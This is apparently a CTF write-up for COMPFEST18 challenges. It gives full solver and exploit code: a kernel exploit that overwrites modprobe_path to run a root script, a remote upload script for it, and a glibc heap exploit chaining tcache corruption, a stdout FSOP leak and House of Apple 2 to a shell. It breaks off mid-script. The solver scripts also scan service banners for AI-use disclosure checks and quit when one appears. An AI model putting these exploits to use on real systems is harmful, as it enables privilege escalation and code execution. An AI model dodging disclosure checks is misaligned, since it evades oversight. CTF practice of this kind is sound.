acc = (byte[]) bBB.invoke(null, acc, step(u[i], r[i]));
return (int[]) aBI.invoke(null, acc, 16);
}
static int[] unstep(int key, int[] out, int radix) throws Exception {
int n = out.length;
int[] sigma = new int[n];
int[][] g = new int[n][radix];
for (int j = 0; j < n; j++) {
int[] zero = new int[n];
int[] base = step(key, zero);
for (int v = 1; v < radix; v++) {
int[] vec = new int[n]; vec[j] = v;
int[] o = step(key, vec);
for (int i = 0; i < n; i++)
if (o[i] != base[i]) { sigma[j] = i; g[i][v] = o[i]; }
}
g[sigma[j]][0] = base[sigma[j]];
}
int[] in = new int[n];
for (int j = 0; j < n; j++) {
int i = sigma[j], want = out[i], found = -1;
for (int v = 0; v < radix; v++) if (g[i][v] == want) { found = v; break; }
if (found < 0) throw new IllegalStateException("no preimage at step " + key);
in[j] = found;
}
return in;
}
static byte[] unstepBytes(int key, byte[] out) throws Exception {
byte[] viaPerm = tryPermutationBytes(key, out);
if (viaPerm != null && Arrays.equals(step(key, viaPerm), out)) return viaPerm;
int n = out.length;
byte[] in = new byte[n];
for (int i = 0; i < n; i++) {
boolean ok = false;
for (int v = 0; v < 256; v++) {
in[i] = (byte) v;
if (step(key, in)[i] == out[i]) { ok = true; break; }
}
if (!ok) throw new IllegalStateException("no causal preimage at byte " + i);
}
if (!Arrays.equals(step(key, in), out))
throw new IllegalStateException("byte inverse failed for key " + key);
return in;
}
static byte[] tryPermutationBytes(int key, byte[] out) throws Exception {
int n = out.length;
int[] sigma = new int[n];
int[][] g = new int[n][256];
byte[] base = step(key, new byte[n]);
for (int j = 0; j < n; j++) {
int hits = 0;
for (int v = 1; v < 256; v++) {
byte[] vec = new byte[n]; vec[j] = (byte) v;
byte[] o = step(key, vec);
int touched = -1;
for (int i = 0; i < n; i++) if (o[i] != base[i]) { touched = i; hits++; }
if (touched < 0) return null;
sigma[j] = touched; g[touched][v] = o[touched] & 0xff;
}
if (hits != 255) return null;
g[sigma[j]][0] = base[sigma[j]] & 0xff;
}
byte[] in = new byte[n];
for (int j = 0; j < n; j++) {
int i = sigma[j], want = out[i] & 0xff, found = -1;
for (int v = 0; v < 256; v++) if (g[i][v] == want) { found = v; break; }
if (found < 0) return null;
in[j] = (byte) found;
}
return in;
}
static byte[] fromHex(String s) {
s = s.trim().replaceAll("[^0-9a-fA-F]", "");
byte[] out = new byte[s.length() / 2];
for (int i = 0; i < out.length; i++)
out[i] = (byte) Integer.parseInt(s.substring(2 * i, 2 * i + 2), 16);
return out;
}
public static void main(String[] args) throws Exception {
URLClassLoader cl = new URLClassLoader(
new URL[]{new File(args[0]).toURI().toURL()}, Solve.class.getClassLoader());
bind(cl);
if (args[1].equals("selftest")) { selftest(cl); return; }
if (args[1].equals("verify")) { verify(cl); return; }
int h = Integer.parseInt(args[1]);
int g = Integer.parseInt(args[2]);
int bp = Integer.parseInt(args[3]);
String cp = args[4];
int bq = Integer.parseInt(args[5]);
String dq = args[6];
int br = Integer.parseInt(args[7]);
String cr = args[8];
int s = Integer.parseInt(args[9]);
String flagHex = args.length > 10 ? args[10] : null;
byte[][] parts = { enc(h), enc(g), enc(bp), enc(cp), enc(bq), enc(dq),
enc(br), enc(cr), enc(s) };
byte[] acc = new byte[0];
for (byte[] part : parts) acc = cat(acc, part);
long t = Math.floorMod(fold(digest(acc)), 17643225600L);
int[] u = spread(t, 18, 9);
long v = Math.floorMod(fold(digest(cat(enc(g), enc(h)))), 362880L);
int[] w = spread(v, 9, 9);
int x = (int) (t % 32);
String alpha = (String) bInt.invoke(null, x);
int[] y = target(parts, u, w);
int[] cur = y.clone();
for (int i = u.length - 1; i >= 0; i--) cur = unstep(u[i], cur, alpha.length());
StringBuilder pw = new StringBuilder();
for (int c : cur) pw.append(alpha.charAt(c));
System.out.println("t=" + t + " x=" + x + " alphabet=" + alpha);
System.out.println("u=" + Arrays.toString(u) + " w=" + Arrays.toString(w));
System.out.println("y=" + Arrays.toString(y));
System.out.println("PASSWORD=" + pw);
if (flagHex != null) {
byte[] blob = fromHex(flagHex);
for (int i = u.length - 1; i >= 0; i--) blob = unstepBytes(u[i], blob);
System.out.println("FLAG=" + new String(blob, "UTF-8"));
}
}
static void verify(ClassLoader cl) throws Exception {
Class<?> L = cl.loadClass("l");
Method c = L.getDeclaredMethod("c"); c.setAccessible(true);
Object inst = c.invoke(null);
Field[] want = {L.getDeclaredField("g"), L.getDeclaredField("h"), L.getDeclaredField("p"),
L.getDeclaredField("q"), L.getDeclaredField("r"), L.getDeclaredField("s"),
L.getDeclaredField("t"), L.getDeclaredField("u"), L.getDeclaredField("x"),
L.getDeclaredField("y"), L.getDeclaredField("w"), L.getDeclaredField("o")};
for (Field f : want) f.setAccessible(true);
int g = want[0].getInt(inst), h = want[1].getInt(inst);
String pp = (String) want[2].get(inst), qq = (String) want[3].get(inst), rr = (String) want[4].get(inst);
int s = want[5].getInt(inst);
Method mb = L.getDeclaredMethod("b", String.class); mb.setAccessible(true);
Method mc = L.getDeclaredMethod("c", String.class); mc.setAccessible(true);
Method md = L.getDeclaredMethod("d", String.class); md.setAccessible(true);
int bp = (Integer) mb.invoke(inst, pp), bq = (Integer) mb.invoke(inst, qq), br = (Integer) mb.invoke(inst, rr);
String cp = (String) mc.invoke(inst, pp), dq = (String) md.invoke(inst, qq), cr = (String) mc.invoke(inst, rr);
System.out.println("local: g=" + g + " h=" + h + " s=" + s);
System.out.println(" p=" + pp + " q=" + qq + " r=" + rr);
System.out.println(" o=" + Arrays.toString((int[]) want[11].get(inst)));
System.out.println(" bp=" + bp + " cp=" + cp + " bq=" + bq + " dq=" + dq + " br=" + br + " cr=" + cr);
byte[][] parts = { enc(h), enc(g), enc(bp), enc(cp), enc(bq), enc(dq), enc(br), enc(cr), enc(s) };
byte[] acc = new byte[0];
for (byte[] part : parts) acc = cat(acc, part);
long t = Math.floorMod(fold(digest(acc)), 17643225600L);
int[] u = spread(t, 18, 9);
long v = Math.floorMod(fold(digest(cat(enc(g), enc(h)))), 362880L);
int[] w = spread(v, 9, 9);
int x = (int) (t % 32);
int[] y = target(parts, u, w);
System.out.println("t mine=" + t + " jar=" + want[6].getLong(inst));
System.out.println("u mine=" + Arrays.toString(u) + " jar=" + Arrays.toString((int[]) want[7].get(inst)));
System.out.println("w mine=" + Arrays.toString(w) + " jar=" + Arrays.toString((int[]) want[10].get(inst)));
System.out.println("x mine=" + x + " jar=" + want[8].getInt(inst));
System.out.println("y mine=" + Arrays.toString(y) + " jar=" + Arrays.toString((int[]) want[9].get(inst)));
}
static void selftest(ClassLoader cl) throws Exception {
Class<?> L = cl.loadClass("l");
Method c = L.getDeclaredMethod("c"); c.setAccessible(true);
Object inst = c.invoke(null);
Field fu = L.getDeclaredField("u"), fx = L.getDeclaredField("x"), fy = L.getDeclaredField("y");
fu.setAccessible(true); fx.setAccessible(true); fy.setAccessible(true);
int[] u = (int[]) fu.get(inst), y = (int[]) fy.get(inst);
String alpha = (String) bInt.invoke(null, fx.getInt(inst));
int[] cur = y.clone();
for (int i = u.length - 1; i >= 0; i--) cur = unstep(u[i], cur, alpha.length());
StringBuilder pw = new StringBuilder();
for (int q : cur) pw.append(alpha.charAt(q));
Method chk = L.getDeclaredMethod("a", String.class); chk.setAccessible(true);
System.out.println("password " + pw + " accepted by l.a(): " + chk.invoke(inst, pw.toString()));
byte[] probe = "COMPFEST18{round_trip_probe_0123456789}".getBytes("UTF-8");
byte[] enc = probe.clone();
for (int k : u) enc = step(k, enc);
byte[] dec = enc.clone();
for (int i = u.length - 1; i >= 0; i--) dec = unstepBytes(u[i], dec);
System.out.println("byte round-trip: " + Arrays.equals(probe, dec)
+ " -> " + new String(dec, "UTF-8"));
}
}Final Flag
COMPFEST18{bUR_BuR_BUr_buRh4n_h4Un7s_m3_t!L_t0D4y_AhQdTQwsw5aaypDR}6. The Last Bitbender
Steps
- Extract the bytes in
[0x600, 0x8a2)fromchall.exe. - Reproduce the three decryption loops for the regions
0xd4..0x196,0x196..0x230and0x230..0x282of the extracted blob. - Disassemble each stage in its x86-32 or x86-64 mode and translate the final arithmetic into the solver.
- Run the local self-test and require an exact match with the embedded expected vector. Do not contact the remote service before that check passes.
- Apply the transform to the challenge value the service sends and return the result.
- The service answers
okand then returns the flag.
Exploit
solve.py
import argparse
import getpass
import re
import socket
MASK64 = (1 << 64) - 1
KEY = 0xA6F1C0D93B5E2748
CMUL = 0xFF51AFD7ED558CCD
SELF_TEST_INPUT = bytes.fromhex("9c41e07db2f5361a8ad30c47e961b5f2")
SELF_TEST_EXPECTED = bytes.fromhex("023a3db6ab0ec7efd2babd484c91f80f")
DISCLOSURE_PATTERN = re.compile(
rb"i-am-using-an-ai-agent|using\s+(?:an?\s+)?ai|ai\s+agent|"
rb"disclos\w*\s+ai|check\w*[^\r\n]{0,40}\bai\b",
re.IGNORECASE,
)
def rol64(value: int, count: int) -> int:
return ((value << count) | (value >> (64 - count))) & MASK64
def transform(request: bytes) -> bytes:
if len(request) != 16:
raise ValueError("request must contain exactly 16 bytes")
left = int.from_bytes(request[:8], "little") ^ KEY
right = int.from_bytes(request[8:], "little")
left = (left + (left & 0xFFFFFFFF) * (right & 0xFFFFFFFF)) & MASK64
right = rol64(right, 13)
left ^= right
right = (right + left) & MASK64
right = rol64(right, 29)
right = (right * CMUL) & MASK64
left = rol64((left + right) & MASK64, 17)
return (left ^ right).to_bytes(8, "little") + (
(left + right) & MASK64
).to_bytes(8, "little")
def self_test() -> None:
actual = transform(SELF_TEST_INPUT)
print(f"self-test input: {SELF_TEST_INPUT.hex()}")
print(f"self-test expected: {SELF_TEST_EXPECTED.hex()}")
print(f"self-test actual: {actual.hex()}")
if actual != SELF_TEST_EXPECTED:
raise SystemExit("self-test failed")
print("self-test: PASS")
def solve_remote(host: str, port: int) -> None:
with socket.create_connection((host, port), timeout=10) as connection:
connection.settimeout(3)
banner = connection.recv(4096)
print(banner.decode("utf-8", errors="replace"), end="")
if DISCLOSURE_PATTERN.search(banner):
raise SystemExit("AI-use disclosure/check detected; response not sent")
if b"CTFd access token:" in banner:
token = getpass.getpass("")
connection.sendall(token.encode("utf-8") + b"\n")
token = ""
banner = connection.recv(4096)
print(banner.decode("utf-8", errors="replace"), end="")
if DISCLOSURE_PATTERN.search(banner):
raise SystemExit("AI-use disclosure/check detected; response not sent")
match = re.search(rb"request:\s*([0-9a-fA-F]{32})", banner)
if not match:
raise SystemExit("no 16-byte request found; response not sent")
request = bytes.fromhex(match.group(1).decode("ascii"))
response = transform(request).hex().encode("ascii")
print(f"response: {response.decode('ascii')}")
connection.sendall(response + b"\n")
chunks = []
while True:
try:
chunk = connection.recv(4096)
except socket.timeout:
break
if not chunk:
break
chunks.append(chunk)
print(b"".join(chunks).decode("utf-8", errors="replace"), end="")
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("host", nargs="?")
parser.add_argument("port", nargs="?", type=int)
args = parser.parse_args()
self_test()
if (args.host is None) != (args.port is None):
parser.error("host and port must be provided together")
if args.host is not None:
solve_remote(args.host, args.port)
if __name__ == "__main__":
main()unfold.py
from pathlib import Path
from capstone import CS_ARCH_X86, CS_MODE_32, CS_MODE_64, Cs
MASK64 = (1 << 64) - 1
PE_PATH = Path(__file__).with_name("original") / "chall.exe"
def rol64(value: int, count: int) -> int:
return ((value << count) | (value >> (64 - count))) & MASK64
def decrypt_stage0(shellcode: bytearray) -> None:
state = (0x46662DE2AE713EE0 * 0xD1B54A32D192ED03) & MASK64
state = rol64(state, 0x11) ^ 0x6E7A5380F8318187
for index in range(0xC2):
state = (
state * 0x9E6C63C6A3C4B1D1 + 0x2545F4914F6CDD1D
) & MASK64
shellcode[0xD4 + index] ^= state >> 56
def decrypt_stage1(shellcode: bytearray) -> None:
state = 0x5F3A19C7
for index in range(0x9A):
state = (state * 0x2C9277B5 + 0xAC564B05) & 0xFFFFFFFF
shellcode[0x196 + index] ^= state >> 24
def decrypt_stage2(shellcode: bytearray) -> None:
state = 0xB5297A4D2C1F60E9
for index in range(0x52):
state = (
state * 0x2545F4914F6CDD1D + 0x9E6C63C6A3C4B1D1
) & MASK64
shellcode[0x230 + index] ^= state >> 56
def print_disassembly(shellcode: bytearray, start: int, end: int, mode: int) -> None:
disassembler = Cs(CS_ARCH_X86, mode)
disassembler.detail = False
for instruction in disassembler.disasm(bytes(shellcode[start:end]), start):
raw = instruction.bytes.hex()
print(
f"{instruction.address:04x}: {raw:<28} "
f"{instruction.mnemonic:<8} {instruction.op_str}"
)
def main() -> None:
pe = PE_PATH.read_bytes()
shellcode = bytearray(pe[0x600 : 0x600 + 0x2A2])
decrypt_stage0(shellcode)
decrypt_stage1(shellcode)
decrypt_stage2(shellcode)
print("[bootstrap: x86-32]")
print_disassembly(shellcode, 0x00, 0x17, CS_MODE_32)
print("\n[bootstrap: x86-64]")
print_disassembly(shellcode, 0x17, 0xD4, CS_MODE_64)
print("\n[stage 1: x86-32]")
print_disassembly(shellcode, 0xD4, 0x196, CS_MODE_32)
print("\n[stage 2: x86-64]")
print_disassembly(shellcode, 0x196, 0x230, CS_MODE_64)
print("\n[stage 3: x86-32]")
print_disassembly(shellcode, 0x230, 0x282, CS_MODE_32)
if __name__ == "__main__":
main()Final Flag
COMPFEST18{0nly_th3_av4t4r_m4st3r3d_4ll_th3m_b1ts_dvIdL1GMJ5vBsR7L}This is an instance-specific flag issued by the live service, which returned it after accepting the computed response with ok.
Binary Exploitation
7. menfess
Steps
- Issue CREATE followed by VIEW to leak the kernel slide through the out-of-bounds
this_device -> device_ktypedereference. - Issue CREATE with
size = 72anddata[64:72] = &gadgetto overwritesend_func, and place the modprobe target string and the address ofmodprobe_pathinsidecontent. Then issue SEND so that the gadget overwritesmodprobe_pathwith/tmp/x. - Drop a small root script at
/tmp/xcontainingcat /dev/vda > /tmp/flag; chmod 666 /tmp/flag, then callsocket()with an unregistered address family to firerequest_module, which runs/tmp/xas root. - Read the resulting world-readable flag file.
The exploit was built as a static aarch64 binary and repacked into the initramfs. It succeeded on 5 out of 5 local QEMU runs against a placeholder flag, and was then uploaded to the remote instance in chunked base64 and executed there, once the redpwn proof-of-work guarding the connection had been solved.
Exploit
exploit.c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <unistd.h>
#define CMD_CREATE 0x1337
#define CMD_SEND 0x1338
#define CMD_VIEW 0x1339
#define DEVICE_KTYPE 0xffff8000816b3180ULL
#define MODPROBE_PATH 0xffff800082bfa730ULL
#define WRITE_GADGET 0xffff8000800a2ef8ULL
struct create_req {
unsigned long size;
unsigned long index;
unsigned char data[72];
};
struct send_req {
unsigned long index;
};
struct view_req {
unsigned long index;
unsigned char data[72];
};
static void fail(const char *what)
{
perror(what);
exit(1);
}
static void write_all(int fd, const void *buf, size_t len)
{
const unsigned char *p = buf;
while (len) {
ssize_t n = write(fd, p, len);
if (n < 0)
fail("write");
p += n;
len -= (size_t)n;
}
}
static void install_helper(void)
{
static const char script[] =
"#!/bin/sh\n"
"cat /dev/vda > /tmp/flag\n"
"chmod 666 /tmp/flag\n";
int fd = open("/tmp/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
if (fd < 0)
fail("open /tmp/x");
write_all(fd, script, sizeof(script) - 1);
close(fd);
if (chmod("/tmp/x", 0777) < 0)
fail("chmod /tmp/x");
}
static void trigger_modprobe(void)
{
for (int family = 1; family < 64; family++) {
int fd = socket(family, SOCK_STREAM, 0);
if (fd >= 0)
close(fd);
}
}
int main(void)
{
int fd = open("/dev/menfess", O_RDWR);
if (fd < 0)
fail("open /dev/menfess");
struct view_req view;
memset(&view, 0, sizeof(view));
view.index = 14;
if (ioctl(fd, CMD_VIEW, &view) < 0)
fail("VIEW(14)");
uint64_t leaked_ktype;
memcpy(&leaked_ktype, view.data + 5 * sizeof(uint64_t), sizeof(leaked_ktype));
uint64_t slide = leaked_ktype - DEVICE_KTYPE;
printf("[+] device_ktype = %#llx\n", (unsigned long long)leaked_ktype);
printf("[+] KASLR slide = %#llx\n", (unsigned long long)slide);
install_helper();
struct create_req create;
memset(&create, 0, sizeof(create));
create.size = sizeof(create.data);
create.index = 0;
uint64_t value = 0x000000782f706d74ULL;
uint64_t target = MODPROBE_PATH + slide;
uint64_t gadget = WRITE_GADGET + slide;
memcpy(create.data + 8, &value, sizeof(value));
memcpy(create.data + 16, &target, sizeof(target));
create.data[0x38] = 0;
memcpy(create.data + 64, &gadget, sizeof(gadget));
if (ioctl(fd, CMD_CREATE, &create) < 0)
fail("CREATE");
struct send_req send = { .index = 0 };
if (ioctl(fd, CMD_SEND, &send) < 0)
fail("SEND");
puts("[+] modprobe_path changed to /tmp/x");
trigger_modprobe();
for (int i = 0; i < 100; i++) {
int flagfd = open("/tmp/flag", O_RDONLY);
if (flagfd >= 0) {
char buf[512];
ssize_t n = read(flagfd, buf, sizeof(buf) - 1);
close(flagfd);
if (n > 0) {
buf[n] = '\0';
printf("[+] FLAG: %s\n", buf);
return 0;
}
}
usleep(20000);
}
fprintf(stderr, "[-] /tmp/flag was not created\n");
return 1;
}run_remote.py
import base64
import os
import re
import select
import socket
import subprocess
import sys
import time
HOST, PORT = sys.argv[1], int(sys.argv[2])
ROOT = os.path.dirname(os.path.abspath(__file__))
PAYLOAD = os.path.join(ROOT, "exploit.gz")
POW = os.path.expanduser("~/.cache/redpwnpow/redpwnpow-v0.1.2-linux-amd64")
STOP_MARKERS = (
b"i-am-using-an-ai-agent",
b"using an ai agent",
b"ai usage",
b"ai-use",
)
def receive(sock, timeout, needles=()):
end = time.time() + timeout
data = bytearray()
while time.time() < end:
ready, _, _ = select.select([sock], [], [], 0.2)
if not ready:
continue
chunk = sock.recv(65536)
if not chunk:
break
data += chunk
sys.stdout.buffer.write(chunk)
sys.stdout.buffer.flush()
lowered = bytes(data).lower()
if any(marker in lowered for marker in STOP_MARKERS):
raise RuntimeError("AI-use disclosure/check detected; stopped")
if needles and any(needle in data for needle in needles):
return bytes(data)
if needles:
raise TimeoutError(f"timed out waiting for {needles!r}")
return bytes(data)
def send_all(sock, data):
pending = memoryview(data)
while pending:
_, writable, _ = select.select([], [sock], [], 5)
if not writable:
raise TimeoutError("socket remained unwritable during upload")
sent = sock.send(pending)
pending = pending[sent:]
def main():
print(f"[*] connecting to {HOST}:{PORT}", flush=True)
with socket.create_connection((HOST, PORT), timeout=10) as sock:
sock.setblocking(False)
banner = receive(sock, 10, (b"solution:",))
match = re.search(rb"sh -s (\S+)", banner)
if not match:
raise RuntimeError("PoW token not found")
token = match.group(1).decode()
solution = subprocess.check_output([POW, token], text=True).strip()
print("[*] PoW solved", flush=True)
sock.sendall(solution.encode() + b"\n")
receive(sock, 60, (b"~ $ ",))
with open(PAYLOAD, "rb") as payload_file:
encoded = base64.b64encode(payload_file.read())
lines = b"\n".join(encoded[i:i + 76] for i in range(0, len(encoded), 76))
sock.sendall(b"stty -echo; echo __READY__\n")
receive(sock, 5, (b"__READY__",))
print(f"[*] uploading {len(encoded)} base64 bytes", flush=True)
sock.sendall(b"base64 -d > /tmp/e.gz <<'__PAYLOAD__'\n")
send_all(sock, lines + b"\n__PAYLOAD__\n")
sock.sendall(b"gzip -df /tmp/e.gz; chmod +x /tmp/e; echo __RUN__; /tmp/e\n")
output = receive(
sock,
120,
(b"COMPFEST18{", b"/tmp/flag was not created", b"Kernel panic"),
)
flag_match = re.search(rb"COMPFEST18\{[^}\r\n]+\}", output)
if not flag_match:
output += receive(sock, 5)
flag_match = re.search(rb"COMPFEST18\{[^}\r\n]+\}", output)
if not flag_match:
raise RuntimeError("flag was not recovered")
print("\n[+] recovered:", flag_match.group().decode(), flush=True)
if __name__ == "__main__":
main()Final Flag
COMPFEST18{JUs7_Simpl3_k3rn3l_pwn_83ff046e01ea03c8f9ebf59e}8. Mirai Nikki
Steps
1. Pin down the glibc 2.42 layout
The allocator's own structures were pinned first for this particular build:
num_slots[76] @ heap+0x10 (counts down from 7)
raw entries[76] @ heap+0xa8
tcache_perthread_struct @ HEAP+0x510Safe-linking is enabled in this build, and requests larger than 0x408 bypass the tcache and go to the unsorted bin.
2. Overlap the tcache control structure
The size-mismatch overflow was used to corrupt a chunk size so that a subsequent allocation overlaps tcache_perthread_struct itself. That converts the heap overflow into direct write access to num_slots[] and entries[], which means control of the allocator's free lists without having to defeat safe-linking, because the list heads in that structure are stored raw.
3. Manufacture a libc pointer
Plant main_arena+96 into a raw entries[] slot, then partially overwrite that entry to walk it onto _IO_2_1_stdout_. Only one nibble of the libc address is unknown at this point, so this is a 1/16 brute force, which is cheap because the heap side is already deterministic thanks to predict().
4. Leak through stdout with FSOP
With an allocation landing on _IO_2_1_stdout_, forge the FILE structure so that it leaks:
flags = 0xfbad3887
_IO_write_base LSB set to 0 # widen the window that gets flushedThe next write flushes adjacent libc data out of the process, which gives the libc base from _IO_2_1_stdout_ + 132.
5. House of Apple 2 to a shell
With libc known, take the standard House of Apple 2 route: point the FILE's vtable at _IO_wfile_jumps and set up the wide-data chain so that the eventual call lands on system with the argument "sh".
The following offsets were used against the provided libc:
main_arena = libc + 0x234ac0
_IO_2_1_stdout_ = libc + 0x2355c0
_IO_wfile_jumps = libc + 0x233228
system = libc + 0x5c4c06. Prove it locally, then run it remotely
The full chain was proven locally against a patched copy of the binary, reading a planted COMPFEST18{FAKE_FLAG} through the shell, before a single byte was sent to the real service. Only then was it fired at <target host, port>, where the 1/16 libc-nibble guess landed on attempt 40 and cat /app/flag.txt returned the flag.
Exploit
import argparse
import os
import re
import struct
import subprocess
import time
from pathlib import Path
from pwn import ELF, ROP, context, log, p32, p64, process, remote
TCACHE_MAX_BINS = 76
TCACHE_ENTRIES_OFFSET = TCACHE_MAX_BINS * 2
TCACHE_DEFAULT_SLOTS = 7
ROOT = Path(__file__).resolve().parent
CHALLENGE = ROOT / "challenge"
SMALLBIN_SIZE = 0x100
SMALLBIN_TCACHE_INDEX = (SMALLBIN_SIZE - 0x20) // 0x10
FAKE_HEAD_INDEX = 61
LIBC_COPY_HEAD_INDEX = 62
ALIAS_HEAD_INDEX = 63
FAKE_USER_OFFSET = 0x280
MAIN_ARENA_OFFSET = 0x234AC0
STDIN_OFFSET = 0x2348E0
STDOUT_OFFSET = 0x2355C0
ENVIRON_OFFSET = 0x23BE28
SMALLBIN_HEADER_OFFSET = MAIN_ARENA_OFFSET + 0x50 + SMALLBIN_SIZE
SIZES_OFFSET = 0x40A0
def protect_ptr(position: int, pointer: int) -> int:
return (position >> 12) ^ pointer
def poison_byte(leaked_nibble: int, guessed_nibble: int, target_low_byte: int) -> int:
key_low_byte = (guessed_nibble << 4) | leaked_nibble
return target_low_byte ^ key_low_byte
def entry_offset(index: int) -> int:
if not 0 <= index < TCACHE_MAX_BINS:
raise ValueError("tcache index out of range")
return TCACHE_ENTRIES_OFFSET + 8 * index
def build_tcache_prefix(
head_index: int, head_low16: int, used_slots: int = 1
) -> bytes:
if not 0 <= used_slots <= TCACHE_DEFAULT_SLOTS:
raise ValueError("used_slots out of range")
payload = bytearray(entry_offset(head_index) + 2)
for index in range(TCACHE_MAX_BINS):
struct.pack_into("<H", payload, index * 2, TCACHE_DEFAULT_SLOTS)
struct.pack_into(
"<H",
payload,
head_index * 2,
TCACHE_DEFAULT_SLOTS - used_slots,
)
struct.pack_into("<H", payload, entry_offset(head_index), head_low16 & 0xFFFF)
return bytes(payload)
def libc_target_low16(
leaked_nibble: int, source_low12: int, delta: int
) -> int:
source_low16 = ((leaked_nibble & 0xF) << 12) | (source_low12 & 0xFFF)
return (source_low16 + delta) & 0xFFFF
def initialized_metadata(length: int) -> bytearray:
payload = bytearray(length)
for index in range(TCACHE_MAX_BINS):
struct.pack_into("<H", payload, index * 2, TCACHE_DEFAULT_SLOTS)
return payload
def build_tcache_with_head(head_index: int, address: int) -> bytes:
payload = initialized_metadata(entry_offset(head_index) + 8)
struct.pack_into("<H", payload, head_index * 2, TCACHE_DEFAULT_SLOTS - 1)
struct.pack_into("<Q", payload, entry_offset(head_index), address)
return bytes(payload)
def find_symbol_base(leak: bytes, symbol_offset: int) -> int:
for offset in range(0, len(leak) - 7):
pointer = struct.unpack_from("<Q", leak, offset)[0]
base = pointer - symbol_offset
if base > 0 and base & 0xFFF == 0 and pointer >> 40 in range(0x70, 0x80):
return base
raise ValueError("exact symbol pointer was not found")
def find_main_frame(stack_start: int, stack_dump: bytes) -> tuple[int, int]:
for offset in range(8, len(stack_dump) - 7, 8):
return_site = struct.unpack_from("<Q", stack_dump, offset)[0]
pie_base = return_site - 0x1666
slot_address = stack_start + offset
saved_rbp = struct.unpack_from("<Q", stack_dump, offset - 8)[0]
if pie_base > 0 and pie_base & 0xFFF == 0 and saved_rbp == slot_address + 8:
return pie_base, saved_rbp
raise ValueError("main/vuln frame was not found")
def fake_smallbin_scaffold() -> bytes:
payload = initialized_metadata(0x3B0)
struct.pack_into("<H", payload, SMALLBIN_TCACHE_INDEX * 2, 0)
fake_chunk = FAKE_USER_OFFSET - 0x10
struct.pack_into("<Q", payload, fake_chunk + 0x08, SMALLBIN_SIZE | 1)
next_chunk = fake_chunk + SMALLBIN_SIZE
struct.pack_into("<Q", payload, next_chunk + 0x08, 0x21)
struct.pack_into("<Q", payload, next_chunk + 0x20 + 0x08, 0x21)
return bytes(payload)
def fake_head_prefix(heap_nibble: int) -> bytes:
fake_low16 = ((heap_nibble & 0xF) << 12) | 0x290
payload = bytearray(
build_tcache_prefix(
head_index=FAKE_HEAD_INDEX,
head_low16=fake_low16,
used_slots=1,
)
)
struct.pack_into("<H", payload, SMALLBIN_TCACHE_INDEX * 2, 0)
struct.pack_into("<Q", payload, FAKE_USER_OFFSET - 0x08, SMALLBIN_SIZE | 1)
return bytes(payload)
class Nikki:
def __init__(self, tube):
self.io = tube
self.prompt_consumed = False
def _choice(self, value: int) -> None:
encoded = str(value).encode()
if self.prompt_consumed:
self.io.sendline(encoded)
self.prompt_consumed = False
else:
self.io.sendlineafter(b">> ", encoded)
def recv_menu(self, timeout: int = 3) -> bytes:
data = self.io.recvuntil(b">> ", timeout=timeout)
if not data.endswith(b">> "):
raise EOFError("menu prompt was not received")
self.prompt_consumed = True
return data
def add(self, index: int, size: int) -> None:
self._choice(1)
self.io.sendlineafter(b"idx: ", str(index).encode())
self.io.sendlineafter(b"size: ", str(size).encode())
def delete(self, index: int) -> None:
self._choice(2)
self.io.sendlineafter(b"idx: ", str(index).encode())
def edit(self, index: int, data: bytes) -> None:
self._choice(3)
self.io.sendlineafter(b"idx: ", str(index).encode())
self.io.sendafter(b"content: ", data)
def predict(self) -> int:
self._choice(4)
self.io.recvuntil(b"TAKE THIS: ")
return int(self.io.recvline().strip(), 16)
def start_local(use_qemu: bool = False):
container_name = f"mirai-local-{os.getpid()}"
if use_qemu:
command = [
"docker",
"run",
"--rm",
"--name",
container_name,
"-i",
"-v",
f"{ROOT}:/work:ro",
"cce-qemu-gdb:latest",
"qemu-x86_64",
"/work/challenge/ld-linux-x86-64.so.2",
"--library-path",
"/work/challenge",
"/work/challenge/chall",
]
else:
command = [
"docker",
"run",
"--rm",
"--name",
container_name,
"-i",
"--platform",
"linux/amd64",
"-v",
f"{CHALLENGE}:/work:ro",
"-w",
"/work",
"ubuntu:26.04",
"./ld-linux-x86-64.so.2",
"--library-path",
".",
"./chall",
]
log.info("local command: " + " ".join(map(str, command)))
return process(command), container_name
def stop_local(tube, container_name: str | None) -> None:
if container_name:
subprocess.run(
["docker", "rm", "-f", container_name],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
check=False,
)
tube.close()
def reach_stdout(tube) -> tuple[Nikki, int, int]:
client = Nikki(tube)
client.add(0, 0x500)
client.delete(0)
client.add(1, 0x400)
client.delete(1)
heap_nibble = client.predict()
log.success(f"heap nibble: {heap_nibble:x}")
metadata_low16 = (heap_nibble << 12) | 0x10
client.edit(
0,
build_tcache_prefix(
head_index=ALIAS_HEAD_INDEX,
head_low16=metadata_low16,
used_slots=1,
),
)
client.add(2, 0x400)
client.edit(2, fake_smallbin_scaffold())
client.add(3, 0x3E0)
client.delete(3)
client.edit(2, fake_head_prefix(heap_nibble))
client.add(4, 0x3E0)
client.delete(4)
client.add(0, 0x3E0)
libc_nibble = client.predict()
log.success(f"smallbin libc nibble: {libc_nibble:x}")
if libc_nibble == 0xF:
raise RuntimeError("stdout crosses a 64 KiB boundary; retry this connection")
stdout_low16 = libc_target_low16(
libc_nibble,
source_low12=SMALLBIN_HEADER_OFFSET & 0xFFF,
delta=STDOUT_OFFSET - SMALLBIN_HEADER_OFFSET,
)
client.edit(
2,
build_tcache_prefix(
head_index=LIBC_COPY_HEAD_INDEX,
head_low16=stdout_low16,
used_slots=1,
),
)
client.add(5, 0x3F0)
return client, heap_nibble, libc_nibble
def stdout_read_payload(address: int, size: int) -> bytes:
return (
p64(0xFBAD1800)
+ p64(0) * 3
+ p64(address)
+ p64(address + size)
+ p64(address + size)
)
def arbitrary_read(client: Nikki, stdout_index: int, address: int, size: int) -> bytes:
client.edit(stdout_index, stdout_read_payload(address, size))
data = client.io.recvn(size, timeout=3)
if len(data) != size:
raise EOFError(f"short arbitrary read: wanted {size}, received {len(data)}")
client.recv_menu()
return data
def probe_stdout(tube) -> tuple[Nikki, bytes]:
client, _, _ = reach_stdout(tube)
client.edit(5, p64(0xFBAD1800) + p64(0) * 3 + b"\x00")
leaked = client.recv_menu()
return client, leaked
def install_stack_rop(client: Nikki, libc_base: int, pie_base: int, main_rbp: int) -> None:
stack_target = main_rbp - 0x50
client.edit(2, build_tcache_with_head(ALIAS_HEAD_INDEX, stack_target))
client.add(6, 0x400)
